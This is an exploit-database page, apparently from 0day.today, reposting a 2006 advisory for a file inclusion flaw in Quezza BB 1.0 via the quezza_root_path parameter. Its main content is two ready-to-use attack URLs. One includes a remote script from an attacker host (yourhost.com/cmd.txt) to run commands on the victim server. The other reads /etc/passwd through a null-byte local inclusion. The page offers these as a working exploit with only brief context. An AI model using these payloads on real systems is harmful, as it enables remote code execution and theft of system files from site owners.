[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Quezza BB <= 1.0 (quezza_root_path) File Inclusion Vulnerability

Author
nukedx
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-426
Category
web applications
Date add
16-05-2006
Platform
unsorted
================================================================
Quezza BB <= 1.0 (quezza_root_path) File Inclusion Vulnerability
================================================================



Quezza BB <= 1.0 (quezza_root_path) File Inclusion Vulnerability.
Method found by nukedx,
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploit works on Quezza BB <= 1.0
Original advisory can be found at: http://www.nukedx.com/?viewdoc=30
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=http://yourhost.com/cmd.txt?
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=/etc/passwd%00
Succesful exploitation register_globals on for both examples.




#  0day.today [2024-11-16]  #